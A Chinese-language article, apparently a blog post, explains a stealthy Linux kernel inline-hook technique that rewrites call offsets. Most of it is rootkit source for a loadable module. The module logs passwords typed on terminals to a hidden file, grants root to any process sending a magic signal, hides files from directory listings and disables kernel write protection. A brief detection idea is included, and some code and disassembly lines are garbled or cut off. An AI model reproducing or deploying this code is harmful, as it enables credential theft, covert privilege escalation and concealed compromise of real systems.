高級Linux Kernel Inline Hook技術分析與實現(xiàn)
一、簡述
目前流行和成熟的kernel inline hook技術就是修改內(nèi)核函數(shù)的opcode,通過寫入jmp或push ret等指令跳轉(zhuǎn)到新的內(nèi)核函數(shù)中,從而達到修改或過濾的功能。這些技術的共同點就是都會覆蓋原有的指令,這樣很容易在函數(shù)中通過查找jmp,push ret等指令來查出來,因此這種inline hook方式不夠隱蔽。本文將使用一種高級inline hook技術來實現(xiàn)更隱蔽的inlinehook技術。
二、更改offset實現(xiàn)跳轉(zhuǎn)
如何不給函數(shù)添加或覆蓋新指令,就能跳轉(zhuǎn)到我們新的內(nèi)核函數(shù)中去呢?我們知道實現(xiàn)一個系統(tǒng)調(diào)用的函數(shù)中不可能把所有功能都在這個函數(shù)中全部實現(xiàn),它必定要調(diào)用它的下層函數(shù)。如果這個下層函數(shù)也可以得到我們想要的過濾信息等內(nèi)容的話,就可以把下層函數(shù)在上層函數(shù)中的offset替換成我們新的函數(shù)的offset,這樣上層函數(shù)調(diào)用下層函數(shù)時,就會跳到我們新的函數(shù)中,在新的函數(shù)中做過濾和劫持內(nèi)容的工作。原理是這樣的,具體來分析它該怎么實現(xiàn), 我們?nèi)タ纯磗ys_read的具體實現(xiàn):
linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
struct file *file;ssize_t ret = -EBADF;int fput_needed;
file = fget_light(fd, &fput_needed);if (file) {loff_t pos = file_pos_read(file);ret = vfs_read(file, buf, count, &pos);file_pos_write(file, pos);fput_light(file, fput_needed);}
return ret;}
EXPORT_SYMBOL_GPL(sys_read);
我們看到sys_read最終是要調(diào)用下層函數(shù)vfs_read來完成讀取數(shù)據(jù)的操作,所以我們不需要給sys_read添加或覆蓋指令, 而是要更改vfs_read在sys_read代碼中的offset就可以跳轉(zhuǎn)到我們新的new_vfs_read中去。如何修改vfs_read的offset呢?先反匯編下sys_read看看:
[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a
0xc106dc5b
0xc106dc5d
0xc106dc5e
0xc106dc63
0xc106dc64
0xc106dc67
0xc106dc6a
0xc106dc6d
0xc106dc72
0xc106dc74
0xc106dc76
0xc106dc78
0xc106dc7b
0xc106dc7e
0xc106dc81
0xc106dc84
0xc106dc87
0xc106dc8a
0xc106dc8d
0xc106dc8e
0xc106dc90
0xc106dc95
0xc106dc98
0xc106dc9a
0xc106dc9d
0xc106dca0
0xc106dca3
0xc106dca7
0xc106dca8
0xc106dcaa
0xc106dcac
0xc106dcb1
0xc106dcb4
0xc106dcb6
0xc106dcb7
0xc106dcb8
0xc106dcb9
End of assembler dump.
(gdb)
0xc106dc90
通過call指令來跳轉(zhuǎn)到vfs_read中去。0xc106d75c是vfs_read的內(nèi)存地址。所以只要把這個地址替換成我們的新函數(shù)地址,當sys_read執(zhí)行這塊的時候,就會跳轉(zhuǎn)到我們的函數(shù)來了。
下面給出我寫的一個hook引擎,來完成查找和替換offset的功能。原理就是搜索sys_read的opcode,如果發(fā)現(xiàn)是call指令,根據(jù)call后面的offset重新計算要跳轉(zhuǎn)的地址是不是我們要hook的函數(shù)地址,如果是就重新計算新函數(shù)的offset,用新的offset替換原來的offset。從而完成跳轉(zhuǎn)功能。
參數(shù)handler是上層函數(shù)的地址,這里就是sys_read的地址,old_func是要替換的函數(shù)地址,這里就是vfs_read, new_func是新函數(shù)的地址,這里就是new_vfs_read的地址。
unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func){
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;
DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);
while (1) {if (i > 512)return 0;
if (p[0] == 0xe8) {DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);
DbgPrint("*** hook engine: call addr: 0x%08x\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];
DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
p[1], p[2], p[3], p[4]);
offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0x%08x\n", offset);
orig = offset + (unsigned int)p + 5;
DbgPrint("*** hook engine: original func: 0x%08x\n", orig);if (orig == old_func) {DbgPrint("*** hook engine: found old func at"" 0x%08x\n", old_func);DbgPrint("%d\n", i);break;}}p++;i++;}
offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);
p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;
DbgPrint("*** hook engine: pachted new func offset.\n");
return orig;}
使用這種方法,我們僅改了函數(shù)的一個offset,沒有添加和修改任何指令,傳統(tǒng)的inline hook檢查思路都已經(jīng)失效。
三、補充
這種通過修改offset的來實現(xiàn)跳轉(zhuǎn)的方法,需要知道上層函數(shù)的地址,在上面的例子中sys_read和vfs_read在內(nèi)核中都是導出的,因此可以直接引用它們的地址。但是如果想hook沒有導出的函數(shù)時,不僅要知道上層函數(shù)的地址,還要知道下層函數(shù)的地址。因此給rootkit的安裝稍微帶了點麻煩。不過,可以通過讀取/proc/kallsyms或system map來查找函數(shù)地址。
四、如何查殺
這種inline hook技術改寫的只是函數(shù)的offset, 并沒有添加傳統(tǒng)的jmp, push ret等指令,所以傳統(tǒng)的inline hook檢測技術基本失效。我想到的一種解決方法就是對某些函數(shù)的offset做備份,然后需要的時候與現(xiàn)在的offset進行比較,如果不相等可能機器就中了這種類型的rootkit。 如果您有好的想法可以通過mail與我共同交流。
五、實例
下面是hook sys_read的部分代碼實現(xiàn),讀者可以根據(jù)思路來補充完整。
========
config.h
#ifndef CONFIG_H
#define CONFIG_H
#define SNIFF_LOG "/tmp/.sniff_log"
#define KALL_SYMS_NAME "/proc/kallsyms"
#define HIDE_FILE "test"
#define MAGIC_PID 12345
#define MAGIC_SIG 58
#endi
======
hook.h
#ifndef HOOK_H
#define HOOK_H
#define HOOK_VERSION 0.1
#define HOOK_DEBUG
#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...) do {} while(0);
#endif
#define SYS_REPLACE(x) orig_##x = sys_call_table[__NR_##x]; \
sys_call_table[__NR_##x] = new_##x
#define SYS_RESTORE(x) sys_call_table[__NR_##x] = orig_##x
#define CLEAR_CR0 asm ("pushl %eax\n\t" \
"movl %cr0, %eax\n\t" \
"andl $0xfffeffff, %eax\n\t" \
"movl %eax, %cr0\n\t" \
"popl %eax");
#define SET_CR0 asm ("pushl %eax\n\t" \
"movl %cr0, %eax\n\t" \
"orl $0x00010000, %eax\n\t" \
"movl %eax, %cr0\n\t" \
"popl %eax");
struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};
static struct {
unsigned short limit;
unsigned long base;
}__attribute__ ((packed)) idt48;
void **sys_call_table;
asmlinkage ssize_t new_read(unsigned int fd, char __user * buf, size_t count);
asmlinkage ssize_t (*orig_read)(unsigned int fd, char __user * buf, size_t count);
#endif
========
k_file.h
#ifndef TTY_SNIFF_H
#define TTY_SNIFF_H
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
#define BEGIN_ROOT int saved_fsuid = current->fsuid; \
current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid;
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define READABLE(f) (f->f_op && f->f_op->read)
#define _read(f, buf, sz) (f->f_op->read(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define TTY_READ(tty, buf, count) (*tty->driver->read)(tty, 0, \
buf, count)
#define TTY_WRITE(tty, buf, count) (*tty->driver->write)(tty, 0, \
buf, count)
int write_to_file(char *logfile, char *buf, int size);
#endif
========
k_file.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "k_file.h"
int write_to_file(char *logfile, char *buf, int size)
{
mm_segment_t old_fs;
struct file *f = NULL;
int ret = 0;
old_fs = get_fs();
set_fs(get_ds());
BEGIN_ROOT
f = filp_open(logfile, O_CREAT | O_APPEND, 00600);
if (IS_ERR(f)) {
printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);
set_fs(old_fs);
END_ROOT
ret = -1;
} else {
if (WRITABLE(f)) {
_write(f, buf, size);
}
else {
printk("%s does not have a write method\n", logfile);
set_fs(old_fs);
END_ROOT
ret = -1;
}
if ((ret = filp_close(f,NULL)))
printk("Error %d closing %s\n", -ret, logfile);
}
set_fs(old_fs);
END_ROOT
return ret;
}
==========
get_time.c
#include
#include
#include
#include
#include
#include
/* Macros used to get local time */
#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
struct vtm
{
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};
int timezone;
int epoch2time(const time_t * t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365},
/* Leap years. */
{0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366}
};
long int days, rem, y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap(y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1)
- LEAPS_THRU_END_OF(y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}
/*
* Get current date & time
*/
void get_time(char *date_time)
{
struct timeval tv;
time_t t;
struct vtm tm;
do_gettimeofday(&tv);
t = (time_t) tv.tv_sec;
epoch2time(&t, timezone, &tm);
sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
}
===========
hide_file.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "config.h"
#define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1))
#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))
struct getdents_callback64 {
struct linux_dirent64 __user * current_dir;
struct linux_dirent64 __user * previous;
int count;
int error;
};
int new_filldir64(void * __buf, const char * name, int namlen, loff_t offset,
ino_t ino, unsigned int d_type)
{
struct linux_dirent64 __user *dirent;
struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;
int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);
buf->error = -EINVAL; /* only used if we fail.. */
if (reclen > buf->count)
return -EINVAL;
dirent = buf->previous;
if (dirent) {
if (strstr(name, HIDE_FILE) != NULL) {
return 0;
}
if (__put_user(offset, &dirent->d_off))
goto efault;
}
dirent = buf->current_dir;
if (strstr(name, HIDE_FILE) != NULL) {
return 0;
}
if (__put_user(ino, &dirent->d_ino))
goto efault;
if (__put_user(0, &dirent->d_off))
goto efault;
if (__put_user(reclen, &dirent->d_reclen))
goto efault;
if (__put_user(d_type, &dirent->d_type))
goto efault;
if (copy_to_user(dirent->d_name, name, namlen))
goto efault;
if (__put_user(0, dirent->d_name + namlen))
goto efault;
buf->previous = dirent;
dirent = (void __user *)dirent + reclen;
buf->current_dir = dirent;
buf->count -= reclen;
return 0;
efault:
buf->error = -EFAULT;
return -EFAULT;
}
======
hook.c
/*
My hook engine v0.20
by wzt <wzt@xsec.org>
tested on amd64 as5, x86 as4,5
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "syscalls.h"
#include "config.h"
#include "k_file.h"
#include "hide_file.h"
#include "hook.h"
#define READ_NUM 200
extern int write_to_file(char *logfile, char *buf, int size);
ssize_t (*orig_vfs_read)(struct file *file, char __user *buf, size_t count,
loff_t *pos);
int (*orig_kill_something_info)(int sig, struct siginfo *info, int pid);
unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;
unsigned int sys_read_addr = 0;
unsigned int sys_getdents64_addr = 0;
unsigned int sys_kill_addr = 0;
unsigned int kill_something_info_addr = 0;
int hook_kill_something_info_flag = 1;
int hook_vfs_read_flag = 1;
spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;
unsigned int filldir64_addr = 0;
unsigned char old_filldir64_opcode[5];
unsigned int get_sct_addr(void)
{
int i = 0, ret = 0;
for (; i < 500; i++) {
if ((*(unsigned char*)(system_call_addr + i) == 0xff)
&& (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
&& (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
ret = *(unsigned int *)(system_call_addr + i + 3);
break;
}
}
return ret;
}
unsigned int find_kernel_symbol(char *symbol_name, char *search_file)
{
mm_segment_t old_fs;
ssize_t bytes;
struct file *file = NULL;
char read_buf[500];
char *p, tmp[20];
unsigned int addr = 0;
int i = 0;
file = filp_open(search_file, O_RDONLY, 0);
if (!file)
return -1;
if (!file->f_op->read)
return -1;
old_fs = get_fs();
set_fs(get_ds());
while ((bytes = file->f_op->read(file, read_buf, 500, &file->f_pos))) {
if ((p = strstr(read_buf, symbol_name)) != NULL) {
while (*p--)
if (*p == '\n')
break;
while (*p++ != ' ') {
tmp[i++] = *p;
}
tmp[--i] = '\0';
addr = simple_strtoul(tmp, NULL, 16);
DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);
break;
}
}
filp_close(file,NULL);
set_fs(old_fs);
return addr;
}
unsigned int try_find_kernel_symbol(char *symbol_name, char *search_file,
int search_num)
{
unsigned int addr = 0;
int i = 0;
for (i = 0; i < search_num; i++) {
addr = find_kernel_symbol(symbol_name, search_file);
if (addr)
break;
}
return addr;
}
ssize_t new_vfs_read(struct file *file, char __user *buf, size_t count,
loff_t *pos)
{
ssize_t ret;
ret = (*orig_vfs_read)(file, buf, count, pos);
if (ret > 0) {
struct task_struct *tsk = current;
struct tty_struct *tty = NULL;
tty = tsk->signal->tty;
if (tty && IS_PASSWD(tty)) {
char *tmp_buf = NULL, buff[READ_NUM];
if (ret > READ_NUM)
return ret;
tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);
if (!tmp_buf)
return ret;
copy_from_user(tmp_buf, buf, ret);
snprintf(buff, sizeof(buff),
"
tmp_buf);
write_to_file(SNIFF_LOG, buff, strlen(buff));
kfree(tmp_buf);
}
}
return ret;
}
int new_kill_something_info(int sig, struct siginfo *info, int pid)
{
struct task_struct *tsk = current;
int ret;
if ((MAGIC_PID == pid) && (MAGIC_SIG == sig)) {
tsk->uid = 0;
tsk->euid = 0;
tsk->gid = 0;
tsk->egid = 0;
return 0;
}
else {
ret = (*orig_kill_something_info)(sig, info, pid);
return ret;
}
}
unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func)
{
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;
DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);
while (1) {
if (i > 512)
return 0;
if (p[0] == 0xe8) {
DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);
DbgPrint("*** hook engine: call addr: 0x%08x\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];
DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
p[1], p[2], p[3], p[4]);
offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0x%08x\n", offset);
orig = offset + (unsigned int)p + 5;
DbgPrint("*** hook engine: original func: 0x%08x\n", orig);
if (orig == old_func) {
DbgPrint("*** hook engine: found old func at"
" 0x%08x\n",
old_func);
DbgPrint("%d\n", i);
break;}}
p++;
i++;
}
offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);
p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;
DbgPrint("*** hook engine: pachted new func offset.\n");
return orig;}
static int inline_hook_func(unsigned int old_func, unsigned int new_func,
unsigned char *old_opcode)
{ unsigned char *buf;
unsigned int p;
int i;
buf = (unsigned char *)old_func;
memcpy(old_opcode, buf, 5);
p = (unsigned int)new_func - (unsigned int)old_func - 5;
buf[0] = 0xe9;
memcpy(buf + 1, &p, 4);
}
static int restore_inline_hook(unsigned int old_func, unsigned char *old_opcode)
{
unsigned char *buf;
buf = (unsigned char *)old_func;
memcpy(buf, old_opcode, 5);
}
static int hook_init(void)
{
struct descriptor_idt *pIdt80;
__asm__ volatile ("sidt %0": "=m" (idt48));
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
if (!system_call_addr) {
DbgPrint("oh, shit! can't find system_call address.\n");
return 0;
}
DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);
sys_call_table_addr = get_sct_addr();
if (!sys_call_table_addr) {
DbgPrint("oh, shit! can't find sys_call_table address.\n");
return 0;
}
DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);
sys_call_table = (void **)sys_call_table_addr;
sys_read_addr = (unsigned int)sys_call_table[__NR_read];
sys_kill_addr = (unsigned int)sys_call_table[__NR_kill];
DbgPrint("sys_read addr: 0x%08x\n", sys_read_addr);
DbgPrint("sys_kill addr: 0x%08x\n", sys_kill_addr);
kill_something_info_addr = try_find_kernel_symbol("kill_something_info2",
KALL_SYMS_NAME, 3);
DbgPrint("kill_something_info addr: 0x%08x\n", kill_something_info_addr);
filldir64_addr = try_find_kernel_symbol("filldir64", KALL_SYMS_NAME, 3);
DbgPrint("filldir64 addr: 0x%08x\n", filldir64_addr);
lock_kernel();
CLEAR_CR0
if (sys_read_addr) {
orig_vfs_read = (ssize_t (*)())patch_kernel_func(sys_read_addr,
(unsigned int)vfs_read, (unsigned int)new_vfs_read);
if ((unsigned int)orig_vfs_read == 0)
hook_vfs_read_flag = 0;
}
if (kill_something_info_addr && sys_kill_addr) {
orig_kill_something_info = (int (*)())patch_kernel_func(sys_kill_addr,
(unsigned int)kill_something_info_addr,
(unsigned int)new_kill_something_info);
if ((unsigned int)orig_kill_something_info == 0)
hook_kill_something_info_flag = 0;
}
if (filldir64_addr) {
inline_hook_func(filldir64_addr, (unsigned int)new_filldir64,
old_filldir64_opcode);
}
SET_CR0
unlock_kernel();
DbgPrint("orig_vfs_read: 0x%08x\n", (unsigned int)orig_vfs_read);
DbgPrint("orig_kill_something_info: 0x%08x\n", (unsigned int)orig_kill_something_info);
if (!hook_kill_something_info_flag && !hook_vfs_read_flag) {
DbgPrint("install hook failed.\n");
}
else {
DbgPrint("install hook ok.\n");
}
return 0;
}
static void hook_exit(void)
{
lock_kernel();
CLEAR_CR0
if (hook_vfs_read_flag)
patch_kernel_func(sys_read_addr, (unsigned int)new_vfs_read,
(unsigned int)vfs_read);
if (hook_kill_something_info_flag)
patch_kernel_func(sys_kill_addr, (unsigned int)new_kill_something_info,
(unsigned int)kill_something_info_addr);
SET_CR0
unlock_kernel();
if (filldir64_addr) {
restore_inline_hook(filldir64_addr, old_filldir64_opcode);
}
DbgPrint("uninstall hook ok.\n");
}
module_init(hook_init);
module_exit(hook_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");